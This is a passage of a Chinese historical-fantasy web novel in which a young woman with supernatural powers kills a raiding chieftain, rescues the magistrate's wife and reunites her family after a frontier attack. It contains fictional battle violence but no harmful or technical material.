一个衣衫褴褛的男子踉跄着冲出人群,手中举着一柄染血的长枪。他的眼睛布满血丝,脸上还带着未干的泪痕。 “你们这群懦夫!”他对着玄鹰军怒吼,声音嘶哑,“眼看着蛮子离开,还有脸活着!” 那是刚被救回来的百姓之一。他的妻子被蛮子掳走了,儿子在反抗时被砍死。 “你们救我做什么?”那人声嘶力竭,“让我死在外面多好!至少不用看你们这群窝囊废!” 周围的百姓纷纷怒斥。有人大喊,“想死就自己去送命吧!”也有人怒吼,“我们还想活着去复仇呢!”更多的人在咒骂,“你这种人真是白救了!” 那人的眼中突然迸发出一道疯狂的光芒,他将长枪对准自己的胸口。楚云衡心头一紧,还未来得及出声,暗一已经闪电般出手。 长枪应声落地,发出清脆的声响。那人被暗一制住,却仍在疯狂挣扎,“放开我!让我死!让我去陪我的儿子!” 楚云衡缓步上前,弯腰捡起地上的长枪。他的脸上没有任何表情,但那双眼睛却仿佛能看透人心。 “你才是真正的懦夫。”楚云衡的声音像寒冰,“只会在这里叫嚣,却不敢真正去找仇人报仇。你的妻子还在蛮子手中,你却想着去死?” 那人愣住了,眼中的疯狂渐渐褪去,取而代之的是深深的羞愧。 “你的命可是我们救回来的,”楚云衡将长枪重重扔在地上,发出一声闷响,“从今天起,你的生死不由你做主。要么拿起武器去复仇,要么就闭嘴!” 周围瞬间安静下来,所有人都被楚云衡的话震住了。那人颤抖着跪在地上,泪水无声地流下。 “把这小子收拾干净,丢进队伍里好好操练。”楚云衡淡淡开口,语气平静得仿佛在谈论今日的天气,“等他能拿得出手了,再让他上场。” “遵命!”右骑尉应声,脸上笑意更深。他伸手摸了摸腰间的鞭子,眼中闪过一丝期待。这种不听话的新兵,最需要的就是严厉的管教。 楚云衡站在高台上,目光如鹰隼般锐利地扫过眼前列队整齐的玄鹰军。晨光熹微,铠甲在阳光下泛着冷冽的光芒。他沉声道,“分成八队,每队三百人,即刻出发救援周边村镇!” “是!”整齐的回应声震天动地,声波在城墙间回荡。 楚云衡的目光在人群中搜寻片刻,突然开口,“暗二!” “属下在!”一道黑影闪现,暗二单膝跪地,低头等待命令。 “你带三百人,立刻前往青山村。”楚云衡的声音不容置疑,“天亮之前,我想了解周围所有城镇的动态。一个细节都不能遗漏。” 暗二领命而去,身影如风般掠过众人。他很快点齐人马,让部下在城东门集合,自己则牵着几匹上等的骏马直奔东南的小院。 小院内,几张桌子拼在一起权当病床。沈玉松三兄弟多亏了老参吊命,总算等到了松大夫的救治。李德含更是把自己的床让了出来,还特意找来几床干净的被褥。 屋内弥漫着浓重的药味,混合着血腥气,让人喘不过气来。松大夫正在为伤者换药,浸过药水的布条散发着苦涩的气味。 沈长菱站在窗边,清晨的微风拂过她的面庞。她突然转头,对沈丰德轻声道,“暗二回来了。”话音未落,院外就传来急促的脚步声。 沈明文和沈明昊立即起身,动作快得带起一阵风。“那我们就出发吧!”他们的声音里带着掩饰不住的焦急。 沈丰年躺在床上,看着为救自己而重伤的沈玉松三兄弟,心中五味杂陈。他想回家看看,但又放心不下这几个为他拼命的兄弟。犹豫片刻,他拉住沈长菱的手,声音沙哑,“一定要照顾好你娘,回去告诉家里我没事。” 沈长菱重重点头,看着父亲满身伤痕,心疼得眼圈发红。她用力眨了眨眼,努力压下涌上来的泪意。 “松大夫,”她转身对正在配药的大夫说道,“麻烦您给我父亲做个全身检查。需要什么药材尽管开,到时一并结算。” 松大夫连连摆手,脸上露出感激的笑容,“这是应该的,你救了我一命,这点小事算什么?老夫一定尽心尽力。” 暗二风风火火地冲进来,带起一阵药味,“人找到了,咱们该走了!”他的目光在屋内扫视一圈,最后落在沈长菱身上。 沈丰德看向躺在床上的弟弟,语气柔和,“你在这里好好养伤,这里很安全,我们很快就来接你。” 沈丰年依依不舍地看着他们,“那你们早点来啊。”声音里带着几分虚弱和不舍。 一行人赶到城东门与大队人马汇合,马蹄声如雷,直奔青山村。路上遇到其他队伍,彼此默契地点头示意,便各自奔向不同方向。 沈丰德和沈明昊得知家中情况后心急如焚,马鞭挥舞得虎虎生风。坐骑感受到主人的焦急,也撒开蹄子狂奔。沈长菱骑在马上,越接近青山村,心中的不安就越发强烈。冷风吹过她的面庞,带来一丝刺骨的寒意。 那个该死的巴图尔,临走前还要洗劫周边村庄。他不是为了屠村,但遇到反抗的村民也是见一个杀一个,毫不留情。想到这里,沈长菱握紧了缰绳。 此刻,巴图尔正带人搜刮青山村。村中到处是哭喊声和求饶声,夹杂着物品被砸碎的声响。 “东西搬得怎么样了?”巴图尔站在村口,看着来来往往搬运物资的手下。 “才搬了一半。”一个满脸横肉的壮汉回答,“这些村民藏东西藏得很深。” “抓紧搬,拿到东西就闪人。”巴图尔皱眉,“别跟村民纠缠,引来城里的兵就麻烦了。”他望了望远处,神色有些不安。 沈长菱突然勒住马缰,竖起耳朵仔细听,“我听到前方传来许多马蹄声,会不会是蛮子在抢掠?”她的声音里带着掩饰不住的担忧。 沈丰德脸色大变,这个可能性极高。他下意识地握紧了腰间的刀柄。 “全速前进!”暗二当即下令,一行人急速前往青山村。 第一百零九章 全是废物 不多时,沈长菱他们果真看见巴图尔带着队伍在抢掠,沈长菱躲在巴图尔身侧,目光紧盯着他脑后那条粗壮的辫子。黑色的发辫在风中微微摆动,像一条蛰伏的毒蛇。她嘴角微扬,纤细的手指悄然探出,猛地抓住那条辫子狠狠一扯。 “他娘的,哪个不长眼的敢扯老子头发!”巴图尔吃痛,粗壮的脖颈不受控制地向后仰去,脸上青筋暴起。 周围的喽啰们面面相觑,纷纷后退几步,生怕被误会是自己干的。有人握紧了手中的兵器,却不知该往哪个方向挥砍。 “统领,没看见人啊!”一个喽啰壮着胆子说道。 巴图尔双目赤红,额头上的青筋突突直跳,“废物!全是废物!” 沈长菱手上力道更重。巴图尔只觉得头皮火辣辣地疼,仿佛要被整个扯下来一般。他伸手胡乱抓挠,却始终碰不到身后的人影。 “快动手,宰了这厮!”巴图尔怒吼着,声音因疼痛而变得嘶哑。 喽啰们举着刀剑四处挥砍,却只能劈开空气。有人甚至失手砍到了同伴,引来一阵咒骂声。 沈长菱身形一闪,借着抓住辫子的力道,将巴图尔整个人重重摔在地上。沉闷的撞击声中,扬起一片尘土。 “统领!”周围的蛮子惊呼。 趁他倒地的瞬间,沈长菱迅速欺身而上,一手掐住他粗壮的脖子。同时,她释放出灵识,如无形的绳索般将巴图尔牢牢束缚。 巴图尔脸色迅速涨红,粗糙的手掌在空中胡乱抓挠。他拼命想掰开脖子上那双无形的手,喉咙里发出“呃呃”的声响。 他艰难地摸向腰间的佩刀,想要反击。刀柄已经触手可及,却怎么也抽不出来。 沈长菱冷笑一声,灵识控制着他的手,将刀尖对准了他自己的胸口。寒光闪烁的刀刃在阳光下泛着森冷的光芒。 “统领小心!”周围的喽啰惊恐地大喊。 有人想上前阻止,却被一股无形的力量推开。他们只能眼睁睁地看着自家统领举刀自刎。 沈长菱迅速后撤,避免鲜血溅到身上暴露行踪。她的动作干净利落,没有丝毫犹豫。 “噗”的一声,利刃刺入血肉。鲜血喷涌而出,染红了巴图尔的胸膛。 “统领!”众人惊恐万分,有人甚至吓得跪倒在地。 左右亲信连忙上前,一边按住不断涌血的伤口,一边手忙脚乱地扶起巴图尔。“撤退!全军撤退!” 牛角号声响彻战场,凄厉的号角声回荡在山谷间。 正在厮杀的玄戎人闻声而退,丢下青山村的村民就要逃命。他们慌不择路,甚至来不及带走抢掠的财物。 “他们要跑!一定是援军到了!”村民们士气大振,举起农具追赶着逃窜的蛮子。 “追!杀光这群畜生!”愤怒的吼声此起彼伏。 暗二立于高处,一边观察战局一边出手击杀敌人。他的剑法凌厉,每一剑都能带走一条性命。 孟西北却坐在一旁的石头上,专心致志地吃着饭。他的神情悠然自得,仿佛周围的厮杀与他无关。 一名蛮子慌不择路冲到他面前,举刀就要砍下。孟西北头也不抬,随手一刀,那蛮子就倒在了血泊中。 这一幕正好被暗二看到,他轻轻搓了搓眼睛,不敢相信眼前所见。那随意的一刀,竟蕴含着如此惊人的剑意。 他一剑解决面前的敌人,朝孟西北奔去。心中激动难耐,终于找到了主子要找的人。 突然,一把寒光闪闪的小刀破空而来,刀势凌厉无比。暗二连忙侧身躲避,衣袖被划出一道口子。 “落雪剑!孟西北?”暗二一边躲闪一边惊呼。这刀法,他再熟悉不过。 孟西北闻言一愣,放下手中的碗筷,“你是谁?” “长公主,司马月华!”暗二激动地说,声音因奔跑而有些喘。 孟西北放下手中的刀,神色平静,“说来听听。” “是长公主临终前命我家主子寻你,终于找到了!”暗二兴奋不已,恨不得立刻带他去见主子。 孟西北不再理会,继续低头吃饭。碗里的饭菜已经凉了,但他吃得津津有味。 暗二尴尬一笑,“容我先解决这些蛮子再说。”说完,又投入了战斗。 沈长菱见蛮子大军撤退,迅速找了个无人角落,放出墨玉和金瑞。她翻身上马,追击逃窜的敌人。 玄鹰军的将领高举长枪,“杀!” “杀!”整齐的喊杀声震天动地,三百玄鹰军士气如虹。 暗二见状也加入战局,剑光闪烁间,不断有敌人倒下。 沈明昊和沈明文正要冲上去,被沈丰德一把拉住,“先回家看看!你们上去也是添乱!” 两人这才冷静下来,转身往家的方向跑去。 墨玉驮着沈长菱飞奔,她手持双刀,追击那些想要带着货物逃跑的蛮子。马蹄声急促,扬起阵阵尘土。 突然,一辆马车的帘子被风掀起一角。沈长菱瞥见车内情形,瞬间怔住。 桂花和林夫人被绑在车里,嘴里塞着布条。她们的衣衫凌乱,脸上还有泪痕。 两人也看到了她,激动得泪如雨下,拼命挣扎着想要靠近车门。布条堵住了她们的嘴,只能发出“呜呜”的声音。 “等着我!”沈长菱大喊一声,加速冲杀过去。她的双刀在阳光下闪着寒光,所过之处,敌人纷纷倒下。 眼看蛮子越聚越多,马车越跑越远,她果断用灵识斩断了套马的绳索。失控的马车向前冲出一段距离后翻倒在地,发出巨大的撞击声。 巴图尔的手下留下五百人断后,其余人护送货物仓皇逃窜。他们的阵型已经大乱,只顾着逃命。 沈长菱趁机冲向马车,一路上斩杀了数名想要阻拦的敌人。 “呜呜呜...”林夫人看到她,泪流满面。那双眼睛里充满了希望和感激。 沈长菱迅速取下她们嘴里的布条,动作轻柔而迅速。 “沈姑娘!多谢相救!”林夫人哽咽道,声音因为长时间被堵住嘴而有些嘶哑。 沈长菱手起刀落,割断绳索。粗糙的麻绳在她们手腕上勒出了深深的痕迹。 “小心身后!”桂花突然惊叫。 沈长菱翻身一刀,一颗人头滚落在地。鲜血喷涌而出,染红了地面。 “啊!”林夫人尖叫着扑进她怀里,浑身颤抖。 沈长菱轻拍她的后背,“没事了。”声音轻柔,带着安抚的力量。 又有两名蛮子偷袭而来,被她一一斩杀。利刃入肉的声音不断响起,沈长菱的动作干净利落,没有丝毫拖泥带水。 林夫人和桂花已经麻木,不敢看那血腥场面。她们紧紧抱在一起,闭着眼睛。 “站我身后。”沈长菱单手推开马车,挡在两人面前。她的背影虽然纤细,却给人一种无比安心的感觉。 看着她坚定的背影,两人心中涌起一股暖流。这个看似柔弱的姑娘,此刻却如同一座巍峨的山峰,给予她们最坚实的庇护。 第一百一十章 卖了换钱 蛮子的残兵败将四散奔逃,原本嚣张的气焰荡然无存。他们丢盔弃甲,踩踏着同伴的尸体,只为逃命。 暗二手持长刀,带领一队精锐士兵冲入敌阵。刀光闪烁间,鲜血飞溅,残肢断臂纷纷坠地。他们如同收割庄稼般,一个接一个地放倒敌人。 “杀啊!一个都不能放过!”村民们高举着锄头、镰刀,跟在玄鹰军后面追杀溃兵。经历了一夜的恐惧与煎熬,此刻他们眼中只剩下仇恨与疯狂。 一个满脸横肉的村民挥舞着染血的镰刀,兴奋地大喊,“这下可发财了!这么多人头,够咱们换不少银子!” “就是就是!”另一个村民附和道,脸上的笑容略显狰狞,“听说城里收人头,价钱可不低呢!” 沈长菱站在一旁,随手抹去脸上的血迹。她看着地上横七竖八的尸体,眼中闪过一丝好奇,“一个人头究竟能值多少银子?” “这要看人的身份。”一个上了年纪的大叔凑过来解释,“普通兵卒一两银子,小头目能值三五两,要是抓到个将军级别的,那可就是几百两!” 听到这话,沈长菱顿时瞪大了眼睛,心里懊悔得直抽抽。早知如此,她就该把巴图尔的人头割下来。那可是一笔不小的横财,就这么白白错过了。 玄鹰军的士兵们动作麻利地清理战场。有人负责统计伤亡,有人在核对村民们的战功,还有人在搜集可用的武器装备。战场上弥漫着血腥味,混合着泥土和积雪的气息。 村长搓着双手,满脸堆笑地凑到一个百夫长面前,“这位官爷,咱们村之前也杀了不少蛮子。要不要去看看?都埋在村后头呢!” 百夫长神色严肃,目光如炬,“可以,但得说清楚。什么时候杀的?在哪里杀的?用什么武器?谁动的手?每个细节都得交代清楚。” “那是那是!”村长连连点头,脸上的笑容更加谄媚,“您这边请,我带您去看。保证一清二楚,不会有半点马虎。” 沈长菱看着这一幕,转头对林夫人和桂花说道,“二位想必也累了,去我家歇歇脚吧?” 林夫人面色苍白,显然还未从惊吓中恢复。桂花也是一脸疲惫,两人如蒙大赦,紧紧挽着沈长菱的胳膊就往沈家走。 刚到家门口,原本围着沈丰德嘘寒问暖的亲人们立刻一拥而上。 “姐!”沈长河冲在最前面,紧张地打量着姐姐,“你没受伤吧?这些血......” “放心,都是别人的。”沈长菱轻描淡写地说道,语气中带着几分疲惫。 林月急切地问,“你爹呢?怎么没跟你一起回来?” 沈丰德在一旁黑着脸,心中暗自叹气。他刚才解释了那么多,看来是白说了。 “爹在照顾玉松叔他们。”沈长菱轻声说道,刻意避开了沈丰年受伤的事实,“明天就能回来,你们别担心。” 这时,赵大娘被两个妇人搀扶着走来。短短一夜之间,她仿佛苍老了十岁,满头白发凌乱不堪,面容憔悴得让人心疼。 “长菱......”赵大娘声音颤抖,眼中含着泪水,“你老实告诉我,玉松他们......” 沈长菱看着这位可怜的妇人,心中一阵酸楚。她不忍心说出真相,只能安慰道,“玉松叔他们在城里休息,明天就能接回来。您放心。” 赵大娘如释重负地长出一口气,泪水夺眶而出。她摇摇晃晃地坐在门槛上,喃喃自语,“没事就好,没事就好......” 孟氏连忙安慰道,“都过去了,以后的日子会越来越好。咱们熬过了这一关,就什么都不怕了。” 朝阳初升,飘雪停歇,仿佛一个漫长的噩梦终于结束。村里渐渐热闹起来,妇人们忙着准备食物,孩子们在雪地里追逐打闹。 孟氏注意到沈长菱身边还跟着两个陌生女子,好奇地问,“这两位是......” “这是县太太和她的丫鬟。”沈长菱压低声音介绍道,生怕引起太大的关注。 林夫人强打起精神,整理了下仪容,露出一个得体的笑容,“叨扰了。” 林月直愣愣地看着她,语气不善,“笑啥?这都什么时候了,还装模作样的。” 沈长菱赶紧打圆场,“我娘她就这性子,您别见怪。咱们农村人,说话直来直去的。” 一番介绍后,孟氏赶紧安排房间给贵客休息。她又叫来几个妇人帮忙,把地窖里剩下的粮食搬出来准备做饭。 “来帮把手!”孟氏招呼道,“大伙儿守了一夜,肯定都饿了。” 卫大娘提着一把缺了口的菜刀凑过来,脸上带着疲惫的笑容,“我来帮忙!总算遇上个敞亮人,守了一夜也不白守!” 村里的妇人们纷纷行动起来。有人生火,有人和面,有人择菜。厨房里很快热闹起来,饭菜的香味驱散了些许战场的血腥气。 沈长菱看着忙碌的众人,心中五味杂陈。这一夜发生了太多事,有生离死别,有惊心动魄,也有温情感动。她不知道未来会怎样,但至少,活着的人要继续往前走。 林夫人和桂花被安排在了上房。两人简单梳洗后,躺在床上很快睡着了。经历了一夜的惊吓,她们实在是精疲力竭。 沈长菱站在院子里,望着渐渐明亮的天空。 村民们陆续回来,有人带着战利品,有人扶着受伤的同伴。玄鹰军的士兵们在村口设立了岗哨,防止有漏网之鱼潜入。 空气中弥漫着血腥味、烟火气和食物的香味,构成了一幅离奇而真实的画面。 沈长菱也沉沉的睡去。她一觉直接睡到了第二天。 “娘,你再戳我鼻子,我就要打喷嚏了!”沈长菱揉了揉发痒的鼻尖,从床上坐起来。 林月手里的鸡毛还在半空中晃荡,脸上露出得逞的笑容,眼角的皱纹都舒展开来,“可算把你叫醒了,你这丫头,太阳都照到屁股了,你不是说今天要去接你爹回来吗?” 沈长菱这才想起昨天说过的话,连忙掀开被子下床,光着脚在地上踩来踩去找鞋,“我这就起来!这就起来!”她一边手忙脚乱地穿衣服,一边在心里暗暗责备自己,怎么能睡这么久。 “快些,我都等不及了。”林月眉开眼笑地转身出门,脚步轻快得像个小姑娘,裙角在门边转出一个欢快的弧度。 看着娘亲蹦蹦跳跳的背影,沈长菱心里一暖。虽说娘亲有时候憨憨的,但对爹的那份真心,却是谁都比不了的。 推开房门,一阵清新的晨风扑面而来,带着泥土和青草的气息。桂花正端着热水朝这边走来,看见沈长菱,连忙加快脚步,“沈姑娘醒了?水已经热好了,我看您睡得香,就没敢打扰。” “多谢,你先去歇着吧。”沈长菱赶紧接过水盆,看着桂花略显苍白的脸色,“你这几天也累着了。” 第一百一十一章 救命之恩 桂花摇摇头,眼中闪过一丝感激,“沈姑娘说的哪里话,要不是您,我和夫人怕是早就......”说到这里,她的声音有些哽咽。 洗漱完毕,沈长菱整理好衣襟走进厨房,就见桂花正蹲在灶台前帮孟氏烧火,她的手法很生疏,不时被烟呛得直咳嗽。 “桂花姑娘,你是客人,怎么能干这些活计?”孟氏一边和面一边说,面团在她粗糙的手掌中变得柔软,“你快去歇着,这些活我来做就成。” 桂花手上动作不停,执拗地往灶膛里添柴,“婶子别这么说,沈姑娘救了我家夫人和我一命,我哪能在这白吃白住。再说了,这些日子承蒙照顾,我总得做点什么才安心。” 林月对两人的客套毫无兴趣,只顾着在一旁催促,“长菱的饭好了没?再不吃怕是要耽误了功夫。”她的目光不时往门外瞟,显然已经等不及要出发了。 孟氏连忙端出热腾腾的稀饭和饼子,“来来来,快趁热吃。这饼子刚出锅,趁热吃最香。” 沈长菱这才发觉自己饿得前胸贴后背,抓起饼子就往嘴里塞。热乎乎的饼子带着麦香,让她想起了从前无忧无虑的日子。 “家里现在什么都没了,你将就着吃。”孟氏叹了口气,目光扫过空荡荡的厨房,“等城里恢复了再去置办。这些日子,能有口吃的就不错了。” 林夫人在一旁豪气地挥手,珠钗随着她的动作轻轻晃动,“不用等,回头我让人拉一车东西来!这点小事,还不值一提。” “只怕现在有钱也买不到什么。”沈长菱咽下口中的饼子,想起那夜的大火,不知道烧掉了多少商家店铺。城中百姓都在为一口吃的发愁,就算有银子,也未必能买到东西。 由于家里的骡车在战乱中丢失,沈长菱只得牵出马来,准备和林月骑马进城。马儿似乎也感受到主人的心情,不安地刨着地面。 临行前,她看向林夫人和桂花,“您要不要......” “长菱啊,”林夫人打断她的话,眼中闪过一丝复杂的情绪,“你在城里若看到什么好东西,尽管买了叫人送回来便是。” 孟氏在一旁使眼色,沈长菱立刻明白过来——林夫人这是打算在他们家常住了。也是,城里现在乱成那样,她们暂时确实无处可去。 “好,我记住了。”沈长菱翻身上马,伸手把林月也拉上来,“娘,咱们走吧!” 一路上遇到青山村的村民,都笑着和她们打招呼。有人还特意停下脚步问长问短,眼中带着善意的关切。沈长菱有些意外,这些村民以前对他们家可没这么热情。 “沈家姑娘,听说你在城里救了不少人?”一个老婆子拄着拐杖问道。 沈长菱愣了一下,随即明白过来——原来是这件事传开了。她简单应付了几句,继续赶路。 马蹄声在乡间小路上回响,沈长菱能感觉到身后的林月越发坐立不安。她知道,娘亲是太想见到爹了。 到了城门口,却发现守卫森严,进城需要户籍检查。几个衙役手持长枪,挨个盘查进城的百姓。 “完了,”林月急得直跺脚,“咱们什么证明都没带!这可怎么办?” 正当沈长菱琢磨着对策时,突然看见一个熟人——前几天在城里遇险时救过的衙役王八两。他正板着脸检查一个商人的文书。 “王大哥!”她快步走过去。 王八两认出她来,板着的脸顿时舒展开,“沈姑娘?您怎么来了?” “是我,想进城接我爹,不过忘了带户籍了......” “这有什么,”王八两爽快地一挥手,露出一个憨厚的笑容,“您请进!要不是您那天及时出手,我这条命怕是早就没了。” 后面等着的百姓顿时不乐意了,“凭什么她们能直接进去?我们排了半天的队呢!” “这位姑娘前几日救了县令大人,”王八两板起脸,声音提高了几分,“你们也救过县令?不想进城就继续嚷嚷!” 进了城,沈长菱发现街道冷清了许多,往日熙熙攘攘的景象不再。几家还在营业的铺子门可罗雀,掌柜的都站在门口东张西望。路边的墙上还留着火烧的痕迹,空气中飘着一股焦糊味。 一个小贩推着车从旁边经过,车上的菜蔫头耷脑的,价钱却比以前贵了一倍不止。几个妇人在讨价还价,脸上都带着愁容。 她叹了口气,领着林月往东南小院的方向赶去。路过一处倒塌的房屋时,几只野狗从废墟中窜出来,把林月吓了一跳。 “长菱,”林月紧紧抓着女儿的衣襟,声音有些发抖,“你说你爹他......” “娘,”沈长菱拍了拍母亲的手,“爹一定没事的。娘,我们进去吧。”她轻轻拉住林月的手,感受着掌心传来的温度。 林月点点头,眼中闪过一丝担忧,“也不知道你爹这些日子过得怎么样。” 踏入院内,扑面而来的是一阵忙碌的气息。衙门里人来人往,匆忙的脚步声此起彼伏。每个人脸上都带着疲惫,却又不敢有丝毫懈怠。有的抱着成堆的文书快步穿行,有的低声交谈着什么,神色凝重。 角落里,几个伤兵正靠墙而坐,身上缠着白布,隐约可见渗出的血迹。他们神色萎靡,却仍强撑着不肯躺下。 沈长菱暗自叹了口气,这就是战乱带来的影响。她看着这些疲惫的面孔,心中泛起一阵酸涩。 穿过几进院落,终于在一间偏房里找到了正伏案疾书的沈丰年。油灯昏黄的光芒下,他的身影显得格外单薄。 “相公!”林月一眼就看到了自家男人,欢喜地冲了过去,“你怎么瘦了这么多?” 沈丰年抬头,疲惫的脸上瞬间绽放出笑容,“月娘?长菱?你们怎么来了?” 还不等他起身,林月已经一把将他抱了起来,在原地转起圈来。那模样,活像抱着个大玩偶似的。 “哎哎哎,快放我下来!这么多人看着呢!”沈丰年又羞又窘,连忙小声劝阻,“我这把老骨头可经不起你这么折腾!” 一旁的户曹尴尬地转过头去,假装自己不存在。手中的毛笔在纸上划出一道长长的墨痕,却浑然不觉。 沈长菱看着这一幕,嘴角不自觉地扬起。这就是她的家人,虽然有时候不太靠谱,但却让人感到温暖。 “大人。”她主动向户曹打招呼,算是给他一个台阶下。 户曹如蒙大赦,连忙放下毛笔回应,“沈姑娘来得正好,李大人和楚大人刚去巡视城中了。”说着,还不忘用袖子擦了擦额头的汗珠。 “他们还好吗?”沈长菱随口问道,目光却落在了桌上堆积如山的文书上。那些泛黄的纸张上密密麻麻写满了字,想必都是这些日子积压下来的公务。 第一百一十二章 安置 “都挺好的。”户曹说着,目光不自觉地瞥向沈长菱的手。那双看起来柔若无骨的手,前几日可是轻松捏碎了两个蛮子的脑袋。想到这里,他不由得打了个寒颤。 林月这时已经放开了沈丰年,开始絮絮叨叨地说起家常,“你看看你,又瘦了。这些日子是不是没好好吃饭?我给你带了些点心,都是你爱吃的......” 沈丰年任由妻子絮叨,脸上带着宠溺的笑容。只是在听到“点心”二字时,眼睛明显亮了几分。 “玉松叔他们在哪?”沈长菱打断了父母的温存,问出了心中最关心的问题。 “在厢房休息。”沈丰年收敛笑容,正色道,“松大夫一直在照看,他们已经清醒了,恢复得不错。” “那我们去看看。”沈长菱转身就要走。 “等等!”户曹突然出声,“沈兄,这些文书......”他指了指桌上的公文,欲言又止。 “元真。”一道威严的声音从门外传来,“莫要强人所难。” 李德含和楚云衡联袂而入。两人身上都带着风尘仆仆的气息,显然刚从外面回来。 沈长菱的目光落在楚云衡脸上,那道狰狞的刀疤已经淡了许多,反而为他增添了几分独特的魅力。 “怎么,这就不认得我了?”楚云衡察觉到她的目光,挑眉问道。嘴角带着几分玩味的笑意。 “张老的医术果然名不虚传。”沈长菱轻笑,“伤好得这么快。” 李德含看了看两人之间微妙的气氛,若有所思,“原来你们认识。” “过命的交情。”楚云衡微笑道,目光却一直没有离开沈长菱的脸。 林月在一旁看得直摇头,小声嘀咕,“这楚公子,看我们长菱的眼神怎么这么不对劲......” 沈丰年连忙拉了拉妻子的袖子,示意她不要多嘴。 沈长菱听着他们的对话,目光却落在李德含愁眉不展的脸上。这位年轻的县令眼底带着化不开的疲惫,想必这些日子也没少操心。 她知道,李德含正为城中百姓的困境发愁。连日的战乱让百姓流离失所,粮食短缺,再加上那些蛮子时不时的骚扰,整座城都笼罩在一片愁云惨雾之中。 “其实,”她忽然开口,打破了室内短暂的沉默,“我们完全可以主动出击。” 所有人的目光都集中到她身上。 “与其等着被抢,不如反过来抢回来。”沈长菱眼中闪过一丝锐利,“缺钱缺物,那就去把属于我们的东西夺回来。那些蛮子抢了这么多,也该到了清算的时候。” “这......”李德含皱眉,“太危险了。” “比起坐以待毙,我更愿意拼一把。”沈长菱直视着他的眼睛,“这都是第几次了?”沈长菱打破了沉默,声音里带着几分压抑的怒意,“玄戎人三番五次来犯,每次都是抢掠一空就走,我们就只能这样干看着吗?” 李德含疲惫地揉了揉眉心,眼底闪过一丝无奈,“沈姑娘,你也知道,草原辽阔无边,地形复杂。玄戎人骑术精湛,来去如风。我们就算派兵追击,也只能望尘莫及。” “可是...”沈长菱还想说什么,却被楚云衡轻轻打断。 “事情恐怕没有表面看起来这么简单。”楚云衡缓缓开口,目光如炬,“这次来犯的不只是玄戎人,我注意到其中还混杂着昭族和云陵的人。而且他们的人数突然增多,这表明几个部落之间达成了某种共识。” 这番话让在座众人神色一凛。 “不只是宁县遭到洗劫,”楚云衡继续说道,声音低沉,“整个寒陵都遭到了他们的侵扰。而且他们这次不仅抢走粮食,还专门掠夺了最近时疫所需的几味药材。” “什么?”沈丰年猛地站起身,椅子在地上发出刺耳的摩擦声,“莫非...他们当中有人染上了时疫?” 这个猜测如同一块巨石,重重砸在众人心头。李县令和户曹的脸色瞬间变得惨白,连呼吸都变得急促起来。 楚云衡轻轻敲了敲桌面,打断了众人纷乱的思绪,“现在说这些为时尚早。当务之急是安抚百姓,重建房屋。” 沈长菱正要开口,突然想起一事,连忙转向李县令,“李大人,您夫人的事情...” “我夫人?”李德含一愣,眼中闪过一丝慌乱。 “就在我家,”沈长菱叹了口气,“当日我救下的两个女子之一就是林夫人。” 李县令的表情顿时变得复杂起来。他沉默良久,才对着沈丰年深深一揖,“府衙事务繁忙,可否请贤弟暂时照看夫人几日?” 沈丰年眼底闪过一丝喜色,面上却装作不经意,“这算什么事,来者是客,林夫人想住多久都行。” 李县令快步走到案前,提笔写了一封信,交到沈丰年手中,“烦请转交给夫人。”他的手微微颤抖,字迹也显得有些潦草。 离开府衙后,沈长菱一家来到厢房。推开门的瞬间,扑面而来的药味让沈长菱不由得皱了皱眉。 沈玉松几兄弟见到他们,顿时眼前一亮,脸上的倦意一扫而空。 沈玉田迫不及待地从床上坐起来,“我们能不能回家了??” 松大夫正在收拾药箱,闻言冷哼一声,“我说你们这些小子,我辛辛苦苦照顾你们,就这么急着要走?” “大夫,您那药实在是...”沈玉岭缩了缩脖子,话说到一半就被沈玉松狠狠瞪了一眼。 “对不起,松大夫。”沈玉岭和沈玉田赶紧低头认错,像是做错事的孩子。 沈长菱看着这一幕,不禁莞尔。她转头问松大夫,“他们现在能动了吗??” 松大夫合上药箱,神色严肃,“可以是可以,但还是要注意...” 沈长菱赶紧将一张银票塞到松大夫手上。 松大夫执意不肯收钱,沈长菱看着老人家坚决的神情,只得作罢。 “那就当是抵消了。”她嘴角扬起温和的笑意,心里明白老人家的心思。 松大夫抚摸着自己斑白的胡须,浑浊的眼睛里闪烁着慈祥的光芒,“人老了,最怕欠下人情却无法偿还。早点还清,我这心里也踏实。”他说着,又絮絮叨叨地嘱咐起来,“记得按时吃药,莫要贪凉。” 沈长菱看着老人家满是皱纹的脸,不由得想起自己的外婆。那时候外婆也是这样,宁可自己吃糠咽菜,也要把好东西留给孙辈。她心头一阵酸涩,轻轻应了声,“您放心。” 暗二站在楚云衡身边,眼睛骨碌碌地转着,像是想到了什么好主意。 “主子,”暗二搓着手,脸上露出狡黠的笑容,“咱们正好也要去青山村见孟先生,不如一起?反正顺路,也能帮他们一把。” 楚云衡站在窗前,目光落在远处的山峦上。他沉默良久,最终还是微微点了点头。 第一百一十三章 领命 暗二顿时像个得了糖的孩子,蹦跳着跑出去安排。不一会儿,院子里就热闹起来,下人们手脚麻利地帮沈家三兄弟上了前面的马车。 沈长菱和林月刚要上前帮忙,就被暗二拦住了。他笑眯眯地说,“这些粗活就交给我们。您二位跟着主子坐后面那辆车就成。” 马车内铺着柔软的垫子,空气中飘着淡淡的檀香。沈丰年坐立不安,手指不停地绞着衣角,“楚公子,真是麻烦你了。这一路上...” 楚云衡递过一杯温热的茶,打断了他的话,“沈叔客气了。”他的声音低沉温和,让人莫名安心。 马车缓缓驶出城门,街道两旁挂满了白布,随风轻轻摆动。沈丰年看着窗外,眼中浮现出忧虑,“骡子没了,车也没了,这日子没法过啊...” “爹!”沈长菱瞪大眼睛,语气里带着责备,“您这是说的什么晦气话。” 林月连忙按住丈夫的脑袋,脸上露出几分焦急,“快呸呸呸!” 沈丰年被迫对着地面呸了两口,脸涨得通红。楚云衡在一旁看着这一幕,嘴角不自觉地扬起一抹笑意,眼中闪过一丝温暖。 马车行驶在乡间小路上,暗二坐在车辕上,哼着小曲,不时回头看看后面的马车。 进入青山村时,处处可见跪地烧纸的村民。空气中弥漫着焚香的气味,更添几分凄凉。他们先把沈玉松三兄弟送到了家,赵大娘正在院子里晾晒衣服。 “娘!”沈玉松的声音有些哽咽。 赵大娘一转身,看到三个儿子站在院门口,手中的衣服啪嗒一声掉在地上。她愣了片刻,眼泪就像断了线的珠子般落下来。 “回来就好,回来就好...”赵大娘抹着眼泪,突然话锋一转,声音提高了八度,“你们三个臭小子,就知道让我操心!知不知道我这几天是怎么过的?” 沈玉松三兄弟原本眼眶发红,这下倒是不知该哭还是该笑。他们手足无措地站在那里,像做错事的孩子。 